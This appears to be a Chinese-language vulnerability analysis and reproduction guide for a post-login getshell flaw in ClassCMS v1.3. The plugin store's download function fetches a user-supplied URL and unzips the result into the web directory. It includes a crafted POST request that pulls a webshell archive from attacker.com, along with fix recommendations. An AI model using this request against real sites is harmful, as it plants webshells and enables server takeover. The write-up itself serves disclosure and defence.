ClassCMS 后台getshell 复现
字数 1082 2025-08-15 21:33:50

ClassCMS 后台Getshell漏洞分析与复现

漏洞概述

ClassCMS v1.3版本存在后台任意文件下载并解压漏洞,攻击者可以通过构造恶意请求,将远程服务器上的恶意压缩包下载到网站目录并自动解压,从而实现Getshell。

漏洞影响版本

ClassCMS v1.3及之前版本

漏洞原理分析

黑盒分析

  1. 漏洞触发点:位于后台应用商店的插件下载功能
  2. 关键请求:向/admin/?do=shop:downloadClass&ajax=1发送POST请求
  3. 参数说明
    • classhash:插件名称(将作为解压目录名)
    • url:插件下载地址(可被控制)

白盒分析

  1. 核心代码路径/class/shop/shop.php

  2. 关键函数

    • download()函数:负责从指定URL下载文件
    • unzip()函数:位于/cms/class.php,负责解压下载的文件
  3. 漏洞流程

    • 后台接收用户可控的url参数
    • 通过download()函数下载远程文件
    • 使用unzip()函数自动解压下载的压缩包
    • 解压后的文件保留在网站目录中

漏洞复现步骤

环境准备

  1. 下载并安装ClassCMS v1.3
  2. 准备一个包含Webshell的压缩包(如shell.zip,内含index.php
  3. 将恶意压缩包上传到可公开访问的服务器

复现过程

  1. 登录后台:访问/admin/并使用管理员账号登录

  2. 进入应用商店:导航至"应用管理"->"应用商店"

  3. 拦截下载请求

    • 选择任意插件点击下载
    • 使用Burp Suite等工具拦截请求
  4. 构造恶意请求

    POST /admin/?do=shop:downloadClass&ajax=1 HTTP/1.1
    Host: target.com
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Cookie: [有效的会话Cookie]
    
    classhash=shell&url=http://attacker.com/shell.zip&csrf=[有效的CSRF Token]
    
  5. 执行结果

    • 系统会从http://attacker.com/shell.zip下载文件
    • 自动解压到/class/shell/目录
    • Webshell路径:/class/shell/index.php

漏洞修复建议

  1. 输入验证

    • url参数进行严格过滤,限制只能从官方域名下载
    • 验证文件类型,确保只解压合法的插件包
  2. 权限控制

    • 限制插件下载功能仅超级管理员可用
    • 实现文件内容检查机制
  3. 临时解决方案

    • 禁用应用商店功能
    • 限制后台访问IP

技术要点总结

  1. 漏洞本质:未授权文件下载+自动解压
  2. 利用条件
    • 拥有后台管理员权限
    • 服务器允许对外发起HTTP请求
  3. 危害等级:高危(可导致服务器完全沦陷)

扩展思考

  1. 类似漏洞在CMS系统中常见于:

    • 主题/插件安装功能
    • 自动更新机制
    • 文件导入功能
  2. 防御此类漏洞的通用方案:

    • 实施严格的来源验证
    • 在沙箱环境中处理压缩文件
    • 实现文件内容安全检查
ClassCMS 后台Getshell漏洞分析与复现 漏洞概述 ClassCMS v1.3版本存在后台任意文件下载并解压漏洞,攻击者可以通过构造恶意请求,将远程服务器上的恶意压缩包下载到网站目录并自动解压,从而实现Getshell。 漏洞影响版本 ClassCMS v1.3及之前版本 漏洞原理分析 黑盒分析 漏洞触发点 :位于后台应用商店的插件下载功能 关键请求 :向 /admin/?do=shop:downloadClass&ajax=1 发送POST请求 参数说明 : classhash :插件名称(将作为解压目录名) url :插件下载地址(可被控制) 白盒分析 核心代码路径 : /class/shop/shop.php 关键函数 : download() 函数:负责从指定URL下载文件 unzip() 函数:位于 /cms/class.php ,负责解压下载的文件 漏洞流程 : 后台接收用户可控的 url 参数 通过 download() 函数下载远程文件 使用 unzip() 函数自动解压下载的压缩包 解压后的文件保留在网站目录中 漏洞复现步骤 环境准备 下载并安装ClassCMS v1.3 准备一个包含Webshell的压缩包(如 shell.zip ,内含 index.php ) 将恶意压缩包上传到可公开访问的服务器 复现过程 登录后台 :访问 /admin/ 并使用管理员账号登录 进入应用商店 :导航至"应用管理"->"应用商店" 拦截下载请求 : 选择任意插件点击下载 使用Burp Suite等工具拦截请求 构造恶意请求 : 执行结果 : 系统会从 http://attacker.com/shell.zip 下载文件 自动解压到 /class/shell/ 目录 Webshell路径: /class/shell/index.php 漏洞修复建议 输入验证 : 对 url 参数进行严格过滤,限制只能从官方域名下载 验证文件类型,确保只解压合法的插件包 权限控制 : 限制插件下载功能仅超级管理员可用 实现文件内容检查机制 临时解决方案 : 禁用应用商店功能 限制后台访问IP 技术要点总结 漏洞本质 :未授权文件下载+自动解压 利用条件 : 拥有后台管理员权限 服务器允许对外发起HTTP请求 危害等级 :高危(可导致服务器完全沦陷) 扩展思考 类似漏洞在CMS系统中常见于: 主题/插件安装功能 自动更新机制 文件导入功能 防御此类漏洞的通用方案: 实施严格的来源验证 在沙箱环境中处理压缩文件 实现文件内容安全检查